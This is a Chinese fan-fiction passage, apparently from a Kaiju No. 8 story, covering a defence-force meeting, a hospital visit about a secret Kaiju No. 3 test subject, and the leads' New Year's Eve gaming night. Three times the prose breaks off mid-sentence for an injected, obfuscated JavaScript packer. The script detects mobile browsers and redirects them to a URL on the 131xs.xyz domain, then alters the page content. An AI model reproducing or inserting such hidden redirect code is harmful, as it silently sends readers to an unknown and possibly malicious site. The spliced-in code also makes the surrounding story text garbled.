一时间大家都忘了“掐架”的任务,蹲下来围在了咪咪身边,早已经成为基地明星猫的咪咪处变不惊,一脸淡定地晃动着尾巴。 “喂,你能不能松手。”七海瞥向不知什么时候站到自己身后的男人。 “咳咳。”鸣海攥着她的袖子,时不时朝着咪咪的方向看一眼,“我通知全员集中你居然带着猫,太没纪律了。” “我手上还拿着这个,你在乎的只有咪咪是吗?”七海将空盘子举起来。 “谁会在乎那种东西,”鸣海说着从口袋里摸出一个红豆面包丢在了空盘子上,“你没吃饱就继续吃。” “我怎么会吃队长的午饭?”话虽如此,她还是很自然地撕开了包装袋。 看到她直接把面包塞进了嘴里,鸣海嘀咕着“那你倒是别吃啊”然后凑过去在另一边咬下一块,出声说道:“我吃这一口就够了。” 十分担心两边人打起来的长谷川匆忙放下手里的赶了过来,只是他完全没想过自己看到的会是众人逗猫的和谐场景,更没想过鸣海会寸步不离粘着七海,只为了离咪咪远一点。 不过尽管在意料之外,可他还是认为这种结局比较好,但愿接下来的东日本会议也会这么顺利。 30.内勤暴言(29) 内勤暴言@wffh 上天发配一个省心的上司给我吧。 我什么都愿意做的。 08:32 dd/mm/yy twitter for web 这一刻保科宗四郎正在向所有人报告的情报,七海早前已经知晓,她甚至清楚自己大约比第三部队的研发组还要了解得更深入一些,不过她并不准备在没有调查完备的情况下推翻他们的结论。毕竟这时候要是说出怪兽九号不是创造者而是唤醒怪兽的那一方,自己又拿不出除了自我感受之外的证据,那很难说服大家相信她。 而且要是坦白了怪兽三号的能力,高层那群人就会立刻知道她违反了保密条例,阅读了只有特殊权限才能接触到的文件。那自己就不仅是讨伐厅的监察部门三进宫了,国安保密部门还是轻的,但凡军事法庭来个传票,搞不好就得进去蹲个十年八年。 想到这里,七海突然打了个冷颤,跟鸣海一块儿站在被告席还是太可怕了。 会议的具体流程和来栖一开始透露的基本一致,长野那里给出了怪兽六号的适配者人选,七海这才知道原来市川小朋友被发配到自己一开始想去的第四部队了,真可惜,绪方队长人也不错,小朋友也很可爱,去长野工作一定有意思多了。 接着来栖也代替总部公开了四之宫琪可露通过怪兽四号适配者测试的消息,鸣海也算是闷不吭声训出了一个好兵。 稍稍有些不同的是保科将九号的情报分享完毕后,同时提出了东日本全体需要联手协作的想法,尤其是管辖讨伐中心地带的第一部队与第三部队。一听死对头竟然这么提案,一直在摆弄手指的鸣海连桌上的文件都没翻开,他抬起头咂了一下嘴,直白地表达了自己的不满。 “九号拥有了故去的四之宫长官的记忆和二号的能力,因此接下来我们要面对的怪兽数量与级别大概率和过去都完全不同。”保科的语调低沉,“各位都已经很清楚了,那凭我们之中的任何一个人都是无法应对的。” “我们需要彼此,因此第三部队会无条件向所有部队公开研发数据、分享装备、提供一切技术支持,”以视频会议的形式参与的亚白米娜接着说下去,“我想从一开始这就不该是一个辖区保卫战了。” 猜到鸣海大约要开口说什么第三部队也好意思在第一部队面前谈技术支持这种话,七海连忙伸手扯住自家队长的衣服,将一张写满字的便签纸啪的一下贴在他的额头上。 “给我照着念。”七海一边压低声音,一边用眼神警告道。 鸣海抿着嘴,把所有的骂骂咧咧咽回去,瞥了一眼便签纸上的字,七海应该写得很着急,有好几个字都连在了一起,本想扔到一旁,另一边的长谷川也用同样的眼神传递来了威胁信息,鸣海无声地叹了一口气,最后妥协着说出了一段合理合规的官方发言,跟其他部队的队长一样。 虽然他还没有不懂事到不理解这件事,但会议的风头都让那个女人和蘑菇头出了,自己只能被迫跟着表态,到底谁才是防卫队的领袖人物。 东云悄悄在桌面下鼓着掌,她一脸敬佩地看着七海,这简直是驯兽大师级别的操作。 而七海阳菜本人却是不断吸气吐气,尽力调整着呼吸,这长谷川副队长也提醒得太紧急了,但凡她写稿子的速度慢个半分钟,鸣海又要在大型会议上惹事了。 把手心的汗擦了擦,她低头看了一眼还在颤抖的指尖,像是失了控的机器人似的。 省心的上司到底都分给谁了? 这一次会议结束,伊丹长官在当晚发的批示中给第一与第三部队的常规训练增加了一项交流演练,由保科与长谷川负责,让部队的小队长们轮流去到对方的基地进行指导。年底前还会有一次联合模拟演习,所有人都必须到场。 这几个时间节点让七海一阵恍惚,原来这就一年了,年初时自己还在操心拿不到手的奖金绩效,每天醒来的第一件事就是想着把辞职信砸到出云科技老总的脸上。谁能料到后来这工作确实是辞了,她的命却差点丢了几回。 “七海前辈……” 半掩着的办公室门被推开,七海回头看到行政上的那个漂亮姑娘又重新打理了齐腰的卷发,玫瑰色的唇彩让她看起来明艳动人,这么好的孩子没有被季度总结汇报毁掉真是太好了。 希望年末也对内勤温柔点。 “是要补材料吗?”七海主动问道。 “不是的,长谷川副队长让我来提醒您这个月定期检查的地点改到东京讨伐专门医院了,总部的医疗中心明年初才能重新启用。”她似乎心情很不错的样子。 “这周内就要去吗?”七海拉开抽屉拿出一块水果硬糖递过去。 “如果您这里方便的话,我们会一起安排车的。”她双手接过糖果鞠躬说了声谢谢。 “我的轮值今晚结束,所以安排任何时间都可以。”七海点头答应,愣了一下又转过身,“等等,一起?” “是的,鸣海队长的检查也是这周。”说罢,小姑娘迈着轻快步伐离开了办公室。 说实在的,七海是真不想让鸣海看到自己的检查报告,起初她觉得他应该看不懂那些指数,但自从抑制药的剂量增大后,她很明显能感觉到鸣海几次都想问自己关于后遗症的事情,不过总是东拉西扯其他话题没能真的开口。 毕竟他不会像她一样,二话不说就上手检查视网膜移植的情况,也不会像她一样自然而然就从来栖那里得到即时的数据。她做的事情都不需要理由,因为这是她的专业,可鸣海那些莫名其妙的关心只会让七海觉得不明所以。 算了,这也不重要,七海更关心讨伐专门医院是不是真的存在着那个特殊病房,这可能是解决她眼下所有疑惑的最后一扇门了。 隔天一大早,同样又困又饿的七海和鸣海两个人被强行拉上了去医院的车,幸好这回安排了司机,否则谁都不放心他们任何一个去摸方向盘。 刚坐上车时他们还一个靠着左边窗户,一个靠着右边窗户,车程过半时七海已经倒向了另一边,鸣海制服上的徽章完完整整印在了她的脸颊上,半梦半醒时鸣海的鼻子被七海的碎发扫得发痒,七海脖子里的耳机也有些碍事他顺手拨到了一侧,一低头,嘴唇不小心贴上了她的前额。 突然间的触感惊醒了七海,她猛地坐直了身子,推开了鸣海的脑袋,慌张地扣上了耳机,正巧司机也放缓了车速,提醒她已经到停车场了。 定期检查的步骤只有固定的几项,报告会在一个小时左右出来,也会通过线上传输到总部。若是平时,七海一定会急不可耐地找个地方去大吃特吃一顿,可她今天是带着任务来的,趁着鸣海还在检查室时,她三下五除下嚼完一根能量棒,接着便起身走到电梯旁,看每个楼层对应的科室。 此时电梯打开,一个熟悉的高大身影出现在七海眼前,手拿着药盒的院长似乎也有点惊讶,没想到会在这种情况下又见面。眼尖的七海不小心扫到了院长的药,只是这么一个小小的动作也被敏锐的对方捕捉到,院长先是微笑了一下,然后很坦诚地点了点头。 “和你想的一样,是帕金森病。”她说道。 “虽然很唐突,但是我能问问您大概是什么时候发病的吗?”七海犹豫着问出口。 “在役的第三年,所以总部人为阻断了我与三号基因的融合,”院长微笑着,“病情发展不快,控制得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360832|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,你不需要太担心。” “我其实没有很担心这件事,不如说我其实有心理准备的,毕竟我的药量也比原来加了一倍……”七海欲言又止。 “你是一个人来的?来做检查吗?”院长看了看等候大厅的连排座椅。 “部队安排了我和鸣海队长一起来,他还在检查室。”七海心不在焉回答着,手攥着衣角在思索着。 “那我就来不及跟他打招呼了,臭小子要是欺负你的话,记得来告诉我,回见。”院长迈开步子准备向前。 七海才鼓起勇气:“院长,实际上我有问题想问您,您不需要回答我,只要听我说完就好。” 院长停住脚步,依然温柔地看着她。 “您并不是初代适配者,那个初代队员就在这间医院,是吗?” 微笑凝结在女人的脸上,从上方投射下来的眼神绝对不算友好,七海紧紧握拳给自己打气,最糟糕的结局不过是被抓进监狱,除了有点对不起把权限借给自己的鸣海,她觉得也没什么可怕的。 “七海,我真想你们两个孩子逃得远远的。”院长最终还是没有透露任何信息,她只是抛下这句话和听到七海问句那一瞬间的心跳频率。 而对于七海来说,这就已经足够了,她得到了最关键的确认,也尝试着允许自己像与怪兽十号交流时那样,最大限度利用意识与感知力,把自己当作桥梁的一端,去寻找另一端。 讽刺的是,首位实验体就住在一间平平无奇的病房中,她能感受到他身上存在着的怪兽三号基因,却感觉不到他有任何的意识,就像一具空壳躺在那里,心脏在跳动,人在呼吸着。 她不禁猜想,也许制止怪兽的唯一办法不是消灭于杀戮,是让他们回到原来的去处,就像与这个男人一样陷入了永久沉睡的怪兽们。 那也就是说代价是…… 七海终于不敢再想下去,她一下子明白了四之宫长官一直以来与她说的那些话,为什么她和过去的三号适配者不同,为什么长官会希望她站在鸣海的身边,会希望她不要离开鸣海。 他是不是一直在期待她能解开这个关于三号的秘密,期待她成为那把关门的钥匙,因为所有人都告诉她,在整个部队里只有她无法成为一个合格的战士。 她不知道为什么突然有点委屈,好像她生来就是为了献出生命一般。 更加难受的是,为她铺路的四之宫长官几乎把她看透了,七海知道一旦自己接触到真相,自己一定会如他们所愿。 他们明白得很,她根本就不可能拒绝。 谁说这群上前线的不懂政治,他们可太懂了。 原来没有未来的那个人,也许是自己。 她失魂落魄地回到医院一楼,早就检查完的鸣海不耐烦地走了过来:“你是不是去找那什么初代适配者了?” “找到了,我也得到想要的数据了。”七海应声没有停留,埋头就走向大门口。 “你真的是为了研究吗?”鸣海追上去。 隔着街道,龙宁神社就在不远处,七海放慢脚步站在路口凝望着神社,就像看着归宿一样。 “你以前要是知道有新的实验结果,表情比通关了游戏还高兴,你现在就像……”鸣海忍不住说道。 “我像什么?”七海回头与他对视。 “像明天是世界末日。”鸣海看到了她空无一物的双眸。 “为什么不是今天?”七海冷哼一声。 “因为我说过只要你在我身边,就不可能是末日。” 鸣海说罢向前跨了一步,伸手帮她戴上了挂在脖子里的耳机,紧接着几辆摩托车呼啸而过,遮掩住了逐渐变快的心跳声。 31.内勤暴言(30) 内勤暴言(内外一体机)@wffh 叮咚,地狱大门开启了。 您好,这是您的年终审核。 01:57 dd/mm/yy twitter for web 今年的东京连续经历了几次重大袭击,终于在缓慢的复苏中来到了十二月,便利店早早贴上了圣诞主题的装饰,道路两旁的灯饰更是从上个月中旬起便安装完毕。 坍塌的大楼与崩坏的地面与那棵耀眼夺目的巨大圣诞树之间只隔着一层薄薄的围栏,工地的尘土在冬夜的风中扬起,那颗金色的星星被染成了灰色。负责清洁的工人一遍又一遍将它清理干净,来往的人在树下笑着合照,所有人都觉得这是与从前毫无区别的圣诞季与新年,大家都习惯了。 讨伐厅的每一次公开露面,都尝试着给人们带来好消息,比如监测到的怪兽信号趋于稳定,又比如基因研究有了新的突破,仿佛人类真的在走向强大的胜利结局。 与此同时,无法言说的却是各个部队的秘密强化演练正在按部就班进行,时不时会有小型怪兽出现,但杀伤力微弱,几分钟内便会自行离开,只像是试探一般。虽说总部一直在根据前期怪兽十号的情报,大范围探查地底的生物动向,可至今已有月余,仍是毫无收获。 如果给现在的七海阳菜一张白纸,让她写出两百条出云科技不适合就职的理由,她大概会再多拿三张纸,因为她根本想不出任何一个正向的优势,无论是在行业垄断下一家独大的态势,还是部门里的黑心上司和智障同事,又或者是模棱两可的加班制度以及毫不透明的晋升道路,每一点都足够让人当场跑路。 要不是高中毕业时年轻不懂事,图那一份科研补贴,七海怎么可能大脑进水签下五年死期。 过去每一年到了这时候她都会告诉自己距离无痛辞职又近了一年,再干一年吧,再干一年吧,然后就这么一直拖到了那次会议,前上司以莫须有的过错为借口,让她主动将自己扫地出门。 想想那时人事说退职金隔天就到账的表情,不知道是不是对这笔超出规定的金额有所怀疑,还是因为七海摆出的脸色实在太难看,总而言之爽得似乎只有她自己。 话题扯远了,年终各种报告与审核像山倒一般,往年的七海又足够的时间为前公司与防卫队研发组分别建立一个档案袋,里面按顺序标记着每个月的月报和研究成果进展,需要哪个部门的章和哪个长官的签字都写得明明白白。对接的每个同事在看到七海上报的文件时都会露出安心的笑容,仿佛她是年终审核里唯一的强心剂。 可是今年七海上半年在与前公司掰扯,下半年才正式拿到防卫队编制,到现在她手上还堆着两三个部门的活,能不能都理清楚就算了,她更想知道跟行政申请的交接人员什么时候能来报道。四之宫长官只是死了,他签字的文件不能说没用了吧。 不要说一朝天子一朝臣,七海不想懂,她是文盲。 这日的演习还没完全结束,七海已经撑不下去从训练场偷偷溜了出来,当她半死不活地爬出电梯挪向办公室时,半路上碰见了面色憔悴的来栖组长,又一次相亲失败的男人看起来随时都有可能羽化飞升。 尸体与幽灵会面,基地走廊的声控灯都应景地闪了两下熄灭了。 “请不要催我交六月的数据,”七海有气无力地抬起手,“只要我还有最后一口气,就一定能给您。” “我催不了你六月,”来栖把滑下来的眼镜推上去,“我这里还没整理到四月……”他说着扶住办公室门把手,差点腿一软跪在地砖上。 “这样的工作量是正常的吗,”七海茫然地向前一步想着帮一把手,“我怎么觉得一点都不正常呢?” 来栖绝望地干笑了两声,推开门迈着沉重的步伐走进去,七海站在门口听了一会儿,确认里面没有发生什么晕倒的情况才转身回了自己的办公室。 刚瘫坐在椅子上喘了口气,七海就听见一阵喧闹,是东云和木梨那几个小队长,很显然他们一定是看到了新出的年末排班表。今年加入的新队员算上四之宫琪可露和日比野卡夫卡,足有七人,出于新人倒霉的既定原则,平安夜与除夜这两天的执勤可算是有人负责了。 小队长们也就不用再猜拳决定谁留守基地,七海确信自己听到了三宅说要去六本木跨年,喝到天亮顺便寻个女伴。又深吸一口气,七海在心里咆哮着:“你倒是先跟上一个断干净了,花花公子给老娘离内勤小姑娘远一点。” 谁料东云也一样,她让三宅他们到时候互相之间谁也别说认识谁,千万不要耽误她新年夜的计划,这一次至少要谈到情人节才行。 一脸烦躁地将耳机扣上,七海可不想再听男男女女的“恋爱”故事了,不管是被工作压榨到只剩半口气也要去相亲的来栖,还是提起亚白队长就会脸红的日比野前辈,又或者是走廊上这群蠢蠢欲动的单身人士们,在七海眼中都是很奇怪的生物。 某种意义上,会收藏游戏女角色特典手办的鸣海反而属于她更能理解的那个范畴。 至于七海自己,她现在只想按时报送,度过年末地狱活到自己生日那天,迎接正月第一天的太阳。 也许是上天垂怜,也有可能是长谷川善心大发,七海在这年的最后一周只被排了一次班,她心怀感恩,把需要签字盖章的文件都收拾好之后,准备去趟副队长办公室,顺便拍个马屁,不是,表达一下下级对上级的敬意。 长谷川副队长开柜子拿公章的时候,七海便按照序号在桌上把文件排开,配合得十分完美,正当完成任务要离开,长谷川开口叫住了她:“最近的鸣海是不是有点太安静了?” “您这么一说……”七海把文件抱在怀里思索了一下,可能是因为自己这段时间太忙了根本管不了其他人死活,所以没有意识到鸣海已经超过两周没来夜袭宿舍找她打游戏了,只不过抽屉里的曲奇饼还是会不翼而飞。 他到底什么时候来偷吃的,真奇怪。 “你们俩没分……没吵架吧?”长谷川把某个词咽回去换成了不容易被误会的说法。 “您又在想什么了?”七海轻哼了一声,“您还是赶紧找个人接手我的工作,不然就给鸣海队长找个新保姆吧!” “那大扫除的事情?”长谷川试探性发问。 “恕我拒绝。”她转过身。 可惜七海上一句话回得果断,下一秒又提着消毒液出现在了鸣海办公室前。 打扫完就放假,打扫完就放假,打扫完就放假,她不断在心里默念着,然后一声招呼不打就拉开了大门。 “呜哇!” 里面那位被吓到了似的将手里的游戏机扔飞出去,整个人躺倒在了地上那堆敞开的文件夹里,他扑棱了两下,没有装订好的文件四处乱飞。七海放下消毒液,一手拿住游戏机,一手接住一张纸,就在她低头准备看的瞬间,地上的人迅速弹起身冲过来抢过文件,这下变成了七海的重心不稳,向后退了好几步,直接被压倒在门前。 “谁让你突然进…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436402|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来的!”鸣海说话还磕磕巴巴的。 考虑到七海超常的视力,他直接用手捂住了她的眼睛,女人的呼吸变得比以往更急促一些,她说过自己在失去某一个感官能力的时候,其他的感觉就会成倍数放大,所以无数的声音涌进了她的大脑里,而鸣海贴着自己眼皮的手背温度也是令人意外的滚烫,包括他飞快的心跳敲击着她的心、膝盖微微挪动触碰到她的身体,竟然会有电流经过一样的刺痛与酥麻。 于是她说不出话了,七海试图开口对着他吼一句“鸣海你有病吧”,可是她的喉咙里只有干巴巴的气声,一个字也说不出来。 “总之,文件我自己收拾你先不要看。”鸣海缓缓地松开手,轻轻按住她的肩膀,防止她立刻直起身要他的命。 谁料到抬眼就与路过的来栖对上了视线,来栖的双眼中先闪过一丝震惊,然后默默地将头偏向了相反的一侧,用肩膀去推没关好的门,最后埋头直接奔跑着远离这个是非之地。 办公室门咔哒合上,这声响直接点燃了即将暴怒的七海大脑里那根引线,她睁开眼翻身坐起,两手扯着鸣海的领子就把他向后推,自知理亏的鸣海一点没反抗,由着她一步步把自己逼到办公桌前。 “你是不是又犯病了,又犯病了,又犯病了!”她攥紧拳头说一下捶一下。 “我本来也不是什么正常人,你又不是第一天认识我。”鸣海希望她继续发脾气,这样就不会注意地上那些跟怪兽三号基因实验有关的文件了。 或者说,平时一直都是那副冷言冷语的模样,他居然也能看到她满脸涨得通红的时候,挺少见的,他想多看会儿。 然而他的这个念头出现之后没过两秒,七海就又冷静了下来,她弯腰捡起地上的消毒液,看了一眼整个办公室,除了地上随便乱堆的文件夹之外,屋子异常整洁,这小子吃错药转性了,居然还会收拾东西了。 她斜眼看向他,问道:“都最后一天了你不是应该回公寓打游戏么,还守着基地做什么?” “上司的事情少打听。”鸣海盘腿坐上办工作,咳嗽了两声。 “哦真是失礼了,队长大人”七海微微躬身,“那我祝您新年快乐,小的告退。” “等等。”鸣海跳下来拉住她的手,再一次意外的触碰又让两个人愣住了,他其实只是想抓住她的手腕或者是袖子,真的没想到刚刚好又碰到了手指。 “还有指示吗?”七海装作不耐烦的样子,胸口被压着的热气又涌上来了。 “反正晚上食堂关门,我们出去吃吧,”鸣海说,“我请客。” 七海不敢相信自己的耳朵,眨了眨眼,刚刚被弄乱的刘海又垂下来,戳着眼皮子。 鸣海上前拨开那绺头发,又重复了一遍:“你饭量这么大我都舍得请客,到哪里去找我这么好的队长。” “你要不先说说你有什么企图吧?”七海才不相信有免费的晚餐呢。 鸣海从口袋里拿出一张新卡带,两手抓着放在胸口,学着她眨眼的动作,又前进一步凑到她的脸前:“这个副本要双人才能过。” 直视着男人的双眼,七海看着那个专属于怪兽一号的印记,松了一口气的同时心里莫名有些空落落的,她觉得自己太了解面前这个家伙了,已经了解到不会产生任何新的期待的程度。 “一会儿宿舍楼下见。”七海应声,手指按在他的眉心用力推开。 佯装着向后倒的鸣海笑了起来,七海永远不会拒绝他,这点也是他最了解的事情。 32.内勤暴言(31) 内勤暴言(重生版)@wffh 新年快乐。 生日快乐。 00:00 dd/mm/yy twitter for web 把洗漱包的拉链拉上的瞬间,七海突然停住了手上的动作,她不知道自己这是在做什么,很显然鸣海只是说了要一起吃饭然后打游戏,为什么自己下意识就默认了今晚会有在外过夜的可能性。或者说,就算是真的留宿在鸣海的公寓里那又如何,这又不是第一次…… 等等,这还真的是第一次。 她把东西放下,缓缓坐在了浴缸的边沿,正在运转的大脑好像停滞了。七海终于意识到那是一个陌生的专属于鸣海弦的空间,不是他那间堆满了垃圾的队长办公室,也不是自己那改了十八次密码却每次都能被他轻松破解的寝室与办公室。 假如说每个人对自己都有一个边界的划定,他们两个人早就在这六年多的日子里把边界线磨得几乎看不清了,所有的个人空间就这样交错重叠在一起。 在这种时候开始回忆是不是有点诡异了,她忍不住皱起眉头用手卷起了发尾,而更诡异的是,她居然找不出一段记忆中完全没有鸣海的存在,他简直是神出鬼没。 在玄关处等待着的咪咪失去了耐心,它钻出了她敞开的背包,钻过半开的浴室门缝,踩着毛巾架跳到了七海的头上。 突如其来的重量就像是给了七海临门一脚似的,七海的脑袋晕了几秒才清醒过来,她两手把咪咪保住,挠了挠它的下巴低声念了一句“坏咪咪”。 “所以你为了这小崽子把我晾在楼下吗?” 推拉门唰的一下被打开,鸣海半个身子探进来,狭窄的浴室容纳一个人都有点勉强,何况七海还坐在了浴缸边,她抬起头,跟鸣海四目相对。 “它不是小崽子,它叫咪咪,而且你什么时候能改改这坏毛病?”七海抱着猫站起身,鸣海便立刻后退了两步。 “本大爷能有什么坏毛病?”鸣海警惕地瞥了一眼她怀里正紧盯着自己的猫,“你到底走不走?” “遵命,完美无缺的队长。”她捏着猫爪子让咪咪做了个敬礼的动作,然后把洗漱包扔进包里,刚要弯腰背包时,鸣海已经先一步提起包,伸手打开了宿舍门。 七海总觉得他的样子看起来好像很担心自己会后悔。 开着车驶出基地的时候已经是晚上九点多了,倒不是因为七海磨蹭了太久,而是她本身就被乱七八糟的工作拖到了下班时间。 不过往年这时候她也没什么特别的安排,不是去便利店买一堆零食和啤酒在宿舍看通宵的电影,就是跟日比野卡夫卡约在居酒屋一边嚼着鱿鱼丝一边抱怨工作,最后在零点钟声敲响的时候拍拍手,祝自己生日快乐。 对哦,为什么以前没有跟鸣海在年末碰过面,难道是因为队长级别比他们的休假时间长吗? 不行,这种事情只会越想越来气,七海赶紧揉了两下咪咪转移注意力,看向了车窗外。 “你就一定要带着它来我家吗?”鸣海单手扶着方向盘,嫌弃地看了看咪咪。 “那掉头把我送回去好了。”七海回道。 “啧。”鸣海嘴角向下一撇,用力地转着方向盘,拐进一栋高级公寓楼的地下车库。 “你答应的晚饭呢?”七海眨了眨眼,至少她对上司请大餐这件事还是有点期待的。 “外卖,我点好了披萨。”鸣海这语气听着像是觉得自己做得很不错的样子。 七海看着身旁这位可能下辈子也无法变成真正成年人的家伙,深深地呼吸了一下,不然她没办法把翻白眼的冲动压制住。 “放心,我点了五种口味,全是超大份。”鸣海把车停下,两手比了一个大大的圆,“作为你完美的队长,我是绝对不会饿到你的。” “那我可真是太谢谢您了。”七海摆出笑脸,接着又发现自己这阵子不爽还是来得早了一些,因为她忘记了防卫部队提供给每个队长级的高层公寓对一个普通队员来说,绝对是可以彻底摧毁心理平衡的存在。 也就是说这小子放着这种地段、这种面积、这种装修的公寓不住,偏偏要在基地办公室养蟑螂是吗? 她有点想让咪咪在鸣海那张还算可以的脸上挠几下,这样能让她的心情变好一些。 一进到屋内,咪咪便立刻霸占了沙发角落的那个靠垫,压根没有一点猫对不熟悉的场所的紧张不安,七海正觉得奇怪的时候,就立刻从鸣海那别扭的表情里读出了原因。 显而易见,他的专座被占用了。 她在心里夸赞道:不愧是我的猫,知道怎么让妈妈高兴。 把七海的背包放在一旁,鸣海侧着身子挪到离猫最远的对角线位置,然后把新的游戏卡带装进游戏机,七海便弯腰拿起遥控器顺手打开了电视。 从男人手里接过游戏手柄,七海随口问道:“你知道我一直很好奇你为什么害怕猫吧?” “真奇怪,你好奇我就要告诉你吗?”鸣海瞪大了眼睛身子后仰摇了摇头。 “让我想想啊,也许是因为鸣海队长没有什么事情是我不知道的?”七海轻笑了一声,看向电视将游戏点开。 “你又在吹牛了。”鸣海盘腿在她边上坐下,两个人的手肘轻轻贴在一块,在开了暖气的室内,单薄的T恤隔不住体温。 被质疑的七海低头一瞥,调侃着说道:“拜托,我连你大腿围加了几厘米都清楚好么?” 鸣海以为自己早就习惯了七海这种视线了,尤其是每次测量那些乱七八糟的数据的时候,他总是看不出她有什么表情的变化,仿佛自己跟实验室那些骷髅架子没区别一样。 虽然心里是这么想的,他还是拿过了身后的靠垫放在了腿上,接着说道:“好变态啊你这女人,这么惦记男人的大腿,每天上班都在做些什么啊?” “好好笑哦,我做了什么?”七海换成了嫌弃的表情,先是伸手轻轻一点他的眉骨,而后补充道,“当然是帮麻烦的队长大人调整战斗服、维修武器还有保护这下面两个您一点都不珍惜的眼睛,您说我都在做什么?” 被她的指尖突然触碰到,鸣海都没来得及躲开,为了不让听力灵敏的她听出些什么,他立刻将游戏的声音调大。故意责怪道:“专心点,别总是动手动脚的,要是拖我后腿可有你好看的。” “我最好是会拖您的后腿啦。”七海轻松地操控着手柄,“再说了,你的大腿是什么值得惦记的好东西吗?” “喂,我这种大腿肌……”鸣海转头看向她。 “专心!”七海直接打断了他的话,反手捏着他的下巴让他的视线不要离开游戏。 此时他咚咚咚变快的心跳声再次钻进她的耳中,她不自觉地抿起嘴来,像是笑了。 而鸣海一边慌乱地应付着游戏,同时在意着自己的呼吸与心跳的节奏,和他平日总在做的事情一样。 外卖在两个人的游戏合作即将崩盘的一刻到达了门外,挽救了彼此之间降到零点的忍耐值,七海起身走到玄关打开门,两手将夸张的外卖袋拎进来,并且挤出一个营业性笑容回应了外卖员客套的“新年快乐”。 五个超大的披萨饼就这么在地板上铺开,难得一见的壮观场景让鸣海和七海都沉默了,还好咪咪早已熟睡,没有被美食吵醒。当然了,对于某人夸张的食量来说这大概也不算什么,可是人生能有几次同时点五个披萨的机会。 想到这里,鸣海已经拿出了手机,对着这番胜景按下了快门。 “你不会把我拍进去了吧?”七海问。 “自作多情谁拍你了。”鸣海看着照片里女人的侧脸,非常听话地裁剪了一下然后点开软件发布了新的推文。 只可惜粗心的家伙完全没有看到那背景落地窗中,清晰映出了一个人的模样。 “等等,我也要拍。”鸣海擦了擦手正要开吃,七海突然叫住他,才举起了手机又提醒道,“你不能让一让吗?” “哇哦这可是鸣海队长的脸,你怎么能忽视他?”鸣海歪过头非要凑上来。 “每天都能看到的东西已经不新鲜了。”七海这回是伸手揉了两把他的头发,再把他推开。 结果鸣海倒是没有一点不满,竟然晃悠了两下又出现了她的镜头里,无奈的七海被他逗笑,没有再继续重拍,而是打开了可乐的易拉罐,仰头灌了一大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480029|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 “有点啤酒就完美了。”她说道。 “就你那酒量还是别沾酒了。”鸣海也拿过袋子里的可乐。 “那次是个例外,”七海把披萨塞进嘴里,含糊地说,“而且我真庆幸自己是在不清醒的时候睡了你的床垫子。”说着还打了个冷颤。 “怎么说得像是做噩梦了一样,我又没有对你做什么?”鸣海一脸惊讶,“我又不是你这个变态女人,我的床也不是谁都能睡的喂!” “天呐,也不知道是谁半夜开我的宿舍门。”七海上下打量着鸣海,“至于你的床,到底有谁想睡了?” “那你还睡着了,”鸣海一语道破,“是啊,真不知道是谁只敢睡那张破椅子。” 能言善道的七海阳菜被一句反问噎住,她连着啃了好几块披萨,没有再回怼鸣海的意思,这让好不容易这种时候占了上风的鸣海开始不习惯了。 不对啊,她不应该再说两句,然后自己被惹急了,最后才结束对话吗? “所以你要是告诉我为什么睡不着,我就说我为什么怕猫?”鸣海试图缓和一下气氛。 七海看了看他,然后看了看咪咪:“算了,我也没这么想知道。” 感觉被耍了的鸣海还是按照流程被惹急了,他直接捏扁了手里的易拉罐,又一次直接戳穿道:“你不就是害怕吗,不然也不会我在你旁边的时候就能睡着啊。” “Happy birthday to……” 特地设置的每个新年零点时刻的闹铃声成了今天的第二次救场道具,七海神色平静地将它按掉,然后双手合十双眼紧闭。 她开口:“新年快乐。” 他也开口:“生日快乐。” 二人转头望向彼此,七海依然很爱看那双眼睛,她轻轻叹气,回应了刚刚鸣海说的话:“所以我离不开你啊。” 很好,这下气氛就更奇怪了,有没有什么人或者东西能救第三次场。 他们相顾无言几分钟,看来是不可能了,鸣海考虑是不是应该在七海用披萨把她自己噎死之前,赶紧说点什么,因为他都不需要用到七海的听力,已经能用眼睛看到她手腕内侧在跳动的脉搏了。 “怎么不说了,你不是应该很擅长说那种让人起鸡皮疙瘩的场面话吗?”七海总算打破了沉默。 “我哪有说什么场面话,那都是真话好不好?”鸣海清清嗓子,“是我不会让你离开我身边,那是我说过的。” “对,就是这种话……”七海皱起眉,“我说出来就很别扭,你看我们两个人都别扭。” “我才不别扭,根本是你在别扭吧。”鸣海强调,“我可是心里怎么想的就是怎么说的。” 等一等,这种话是不是也…… 七海低下头挠了挠眉心,她又开始专心致志吃东西了,鸣海眼见着她用飞快的速度扫光了披萨,连抽了几张湿巾连忙擦了擦嘴和手,然后迫不及待重新打开了游戏。 “我们还是做正事吧。”她说。 “你说得对,做正事。”他点了点头,却发现越这么想,自己的注意力越来越难从七海刚刚用湿巾擦过的嘴上移开。 